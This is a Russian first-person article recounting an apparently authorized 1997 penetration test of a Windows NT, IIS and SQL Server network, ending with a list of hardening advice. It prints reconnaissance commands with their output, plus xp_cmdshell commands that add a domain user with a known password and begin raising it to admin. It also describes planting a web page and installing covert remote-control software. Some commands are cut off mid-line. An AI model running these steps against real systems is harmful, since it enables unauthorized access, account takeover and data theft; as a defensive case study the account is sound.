Библиотека Интернет Индустрии I2R.ru |
|||
|
Как мне пришлось стать хакеромВсе началось весной 1997 года, в тот момент, когда мы заканчивали
бетатестирование специализированного пакета для работы
Internet-провайдера, одним из компонентов которого была система создания
зеркал Web-серверов. Поскольку это был единственный компонент, который не
был протестирован к тому моменту, мы решили загрузить его какой-нибудь
сложной задачей. Для реализации стресс-теста решено было сделать <зеркало>
большого сайта, находящегося на другом конце света. Ну а если бы администратор хоть иногда обращал внимание на новости,
связанные с Windows NT, он установил бы специальную заплатку для IIS 3.0,
которая помогла бы вовсе избежать проблем: я увидел бы сообщение Dear Andrey, Thanks for your remark. We are aware of the problem. We have installed the patch, but the result was that none could access any of out idc's. However, I don't think this is a potential security risk as you can't place a self made .IDC on our /script directory - or if you have any ideas about how it can be made, please let me know and I'll urgently make our /script directory read only. Ответ меня сильно разочаровал. Администратор не видел проблемы и не понимал, что открытый пароль sa может привести к непоправимым последствиям. Я пытался ему объяснить, что он не прав, но вскоре понял, что словами здесь не поможешь... И тогда я запросил разрешение на эксперимент со <взломом> его сервера. > I hope that from now you site much more secure than it was in past, but I > will try... That's a deal! We'll send you a nice package to compensate you for your work. We are not using any fire walls, so go ahead (but please be careful with our data ;-)). Kind regards, admin Никогда не разговаривайте с неизвестными!> Кто его тянул за язык? Сам факт отсутствия простейшего брандмауэра говорит о многом! Первым делом я запустил простую программу под названием nslookup для просмотра зоны DNS, в которой находится его сервер (данная программа входит в состав Windows NT Server, практически все варианты UNIX также имеют эту и другие утилиты для проверки работы DNS. C:\nslookup Default Server: myserver.quarta.com Address: 555.555.120.5 > set type=any > server.com. Server: myserver.quarta.com Address: 555.555.120.5 Non-authoritative answer: server.com nameserver = priny.server.com server.com nameserver = nic.server.com server.com nameserver = pluto.server.com Authoritative answers can be found from: server.com nameserver = priny.server.com server.com nameserver = nic.server.com server.com nameserver = pluto.server.com priny.server.com internet address = 555.555.200.1 nic.server.com internet address = 555.555.200.1 pluto.server.com internet address = 555.555.200.3 > server priny.server.com. Default Server: priny.server.com Address: 555.555.200.1 Теперь получим сведения о зоне и почтовом сервере: >server.com. Server: priny.server.com Address: 555.555.200.1 server.com internet address = 555.555.200.2 server.com nameserver = nic.server.com server.com nameserver = PRINY.server.com server.com nameserver = pluto.server.com server.com origin = PRINY.server.com mail addr = administrator.server.com serial = 19 refresh = 10800 (3 hours) retry = 7200 (2 hours) expire = 86400 (1 day) minimum ttl = 3600 (1 hour) server.com preference = 10, mail exchanger = faun.server.com nic.server.com internet address = 555.555.200.1 PRINY.server.com internet address = 555.555.200.1 pluto.server.com internet address = 555.555.200.3 faun.server.com internet address = 555.555.200.17 А может, там найдутся и другие компьютеры, которые могут представлять для нас интерес? Команда ls является сокращением от list: >ls server.com. [priny.server.com] server.com. 555.555.200.2 server.com. server = nic.server.com server.com. server = PRINY.server.com server.com. server = pluto.server.com faun 555.555.200.17 gold 555.555.200.22 www.ie 555.555.200.11 jersild 555.555.200.25 nic 555.555.200.1 nic2 555.555.200.3 parasit3 555.555.200.20 pluto 555.555.200.3 www.press 555.555.200.30 PRINY 555.555.200.1 www 555.555.200.2 > Простейшие настройки DNS-сервера (трансфер зон только для доверяемых
хостов) не позволили бы так просто просмотреть список машин в домене. А
как вам нравится то, что в одной сети находятся Web- сервер, сервер DNS,
почтовый Exchange Server и все остальное: прочие машины, рабочие станции,
тестовые серверы, машины программистов? Никогда не позволяйте так просто
просматривать свой DNS: для хакера достаточно лишь незначительной
информации для анализа и попытки проникновения в систему! Чем меньше такой
информации он сможет получить, тем сложнее ему будет проникнуть в вашу
систему. C:\>nbtstat -A 555.555.200.1 Host not found. C:\>nbtstat -A 555.555.200.2 Host not found. C:\> Неужели он умнее, чем я думал? Ладно, проверю всю его сеть, может, обнаружу что-нибудь еще? C:\>nbtstat -A 555.555.200.16 NetBIOS Remote Machine Name Table Name Type Status ----------------------- PLUTO <00> UNIQUE Registered EEG1 <00> GROUP Registered PLUTO <20> UNIQUE Registered EEG1 <1E> GROUP Registered INet~Services <1C> GROUP Registered IS~PLUTO.......<00> UNIQUE Registered MAC Address = 00-00-FF-34-D4-xx C:\> nbtstat -A 555.555.200.22 NetBIOS Remote Machine Name Table Name Type Status ----------------------- GOLD <00> UNIQUE Registered GOLD <20> UNIQUE Registered EEG1 <00> GROUP Registered EEG1 <1C> UNIQUE Registered EEG1 <1B> UNIQUE Registered EEG1 <1E> GROUP Registered GOLD <03> UNIQUE Registered ADMINISTRATOR <03> UNIQUE Registered EEG1 <1D> UNIQUE Registered __MSBROWSE__ <01> UNIQUE Registered INet~Services <1C> GROUP Registered IS~GOLD .......<00> UNIQUE Registered MAC Address = 00-00-00-3B-xx-xx C:\> Прекрасно - одна машина является обычным сервером в домене EEG1, а вторая - либо PDC, либо BDC 2 , да еще и администратор зашел на компьютер с консоли. Попробуем подключиться к серверу \\pluto: Start ? Run и \\pluto.server.comПолучилось ! Во всех учебниках по Windows NT написано - выключите пользователя Guest! Подключиться к офисному принтеру моего оппонента было делом одной минуты; еще спустя минуту принтер распечатал короткое послание о том, что я приступил к работе и не надо волноваться - все наши договоренности в силе. Покончив с базовым исследованием сети, я написал ему достаточно развернутый отчет о проделанной работе, перечислил все машины, на которых открыт Guest, порекомендовал ему переименовать пользователя Administrator и дал еще несколько рекомендаций. Через пару дней я получил письмо, в котором администратор испытуемого сервера признавался в отсутствии хорошо поставленной системной политики безопасности и пообещал выслать заработанный приз в ближайшие дни. Я уже начал постепенно забывать об этом случае, как вдруг получил от него тревожное письмо: он просил продолжить обнаружение дыр в его защите, уделив при этом особое внимание поиску возможностей входа в базу данных Microsoft SQL Server пользователей его сайта. Как вы понимаете, информация такого рода немало стоит для его конкурентов, и он опасался за ее сохранность в случае серьезной хакерской атаки. Проникновение в MS SQL Server Достаточно быстро я удостоверился в том, что пароль sa не был изменен (уже четыре дня администратор знает о дырке и все еще не удосужился ее закрыть!). Дело оставалось за малым - войти в базу SQL Server как sa (или хотя бы как guest). С прошлого сеанса у меня сохранились записи и список всех серверов в его сети. Пришлось записать их все в файл LMHOST: 555.555.200.5 priny #PRE 555.555.200.16 pluto #PRE ... 555.555.200.23 insernia #PRE #DOM:eeg1 дать команду Так - имена, адреса, пароли, номера кредитных карточек... А ведь кто-то выдумывает системы криптозащиты, спорит о длине ключа... Все, что я только что проделал, является следствием грубейших нарушений администратора данного компьютера. Машина, на которой установлен SQL Server, должна быть защищена брандмауэром или хотя бы работать по протоколу, недоступному из Internet, например по немаршрутизируемому NetBEUI. Ладно, доведем проверку системы безопасности до ее логического конца. xp_cmdshell 'net user Andrey mypassword /add /domain'Отныне в домене EEG1 есть пользователь Andrey с паролем mypassword.
Теперь пора сделать его администратором: xp_cmdshell 'net group Так вот он, Web-сервер и его исходные файлы! Ну что же, положим маленький файл hack.htm в корневой каталог Web-сервера. Ничего бы этого не случилось, если бы администратор: * отключил бы хранимую процедуру xp_cmdshell и аналогичные; * запустил MS SQL Server в работу под именем специального пользователя с ограниченными полномочиями; * сменил (установил) бы пароль у sa; * установил MS SQL сервер на машине, которую не <видно> из Internet; * не занимался отладкой собственного ПО на машинах, видимых из Internet; * не запускал бы скрипты от имени sa; * не установил бы NMA на компьютер, доступный из Internet; * отключил бы на всех серверах пользователя Guest; * правильно настроил права в каталогах для скриптов на Web-сервере; * устанавливал вовремя необходимые <заплатки>, выпускаемые Microsoft; * хоть немного задумывался о безопасности. Как вы, наверное, уже поняли, я получил полную власть в домене EEG1. Трудно только без консоли управления нравится мне видеть экран другого компьютера. Полцарства за консоль! К сожалению (а может, и к счастью), в Windows NT нет сервера Telnet, поэтому просто так подключиться к консоли нельзя даже в текстовом режиме. Но выход есть - RemotellyPossible/32, моя любимая программа для удаленного управления компьютером. Она имеет массу возможностей, в том числе возможность удаленной установки и абсолютную прозрачность для того, на чей компьютер я ее установил. На экране нет никаких сведений о том, что я его вижу, - это удобно для руководителя подразделения, который хочет знать, чем заняты его сотрудники. Данная программа работает исключительно быстро, и с сервером на другом краю света можно работать с нормальным временем реакции - иногда просто не замечаешь, что это другая машина. Теперь я могу делать с ней практически все. 1) NetBT - NetBIOS over TCP/IP - позволяет работать с программами, использующими NetBIOS, поверх протокола TCP\IP. Для машин, подключенных к Internet, Microsoft рекомендует отключить данный сервис. Так, на всякий случай... 2) PDC - Primary Domain Controller и BDC - Backup Domain Controller - серверы, которые занимаются авторизацией пользователей и хранят каталоги пользователей. 3) Microsoft SQL Server - уникальная программа. При ее помощи чрезвычайно удобно просматривать объекты базы данных, особенно когда вы стали ее администратором. Да и название таблицы весьма информативно... Андрей Крючков |
|
2000-2008 г. Все авторские права соблюдены. |
|